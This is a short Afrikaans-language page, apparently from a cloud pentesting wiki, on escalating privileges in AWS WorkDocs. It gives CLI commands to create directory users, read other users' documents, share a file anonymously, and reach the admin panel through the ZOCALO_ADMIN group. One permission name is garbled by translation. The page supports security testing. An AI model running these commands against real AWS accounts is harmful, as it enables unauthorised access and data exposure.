AWS - WorkDocs Privesc

WorkDocs

Vir meer inligting oor WorkDocs, kyk:

pageAWS - Directory Services / WorkDocs Enum

workdocs:CreateUser

Skep 'n gebruiker binne die aangeduide Gids, dan sal jy toegang hê tot beide WorkDocs en AD:

# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>

workdocs:GetDocument, (workdocs:DescribeActivities)

Die lêers mag sensitiewe inligting bevat, lees hulle:

# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>

workdocs:AddResourcePermissions

As jy nie toegang het om iets te lees nie, kan jy dit net toeken.

# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>

workdocs:VoegGebruikerByGroep

Jy kan 'n gebruiker as 'n administrateur instel deur dit in die groep ZOCALO_ADMIN te plaas. Volg die instruksies vanaf https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html

Meld aan met daardie gebruiker in workdoc en kry toegang tot die administrateurspaneel in /workdocs/index.html#/admin

Ek het nie 'n manier gevind om dit vanaf die opdraglyn te doen nie.

Last updated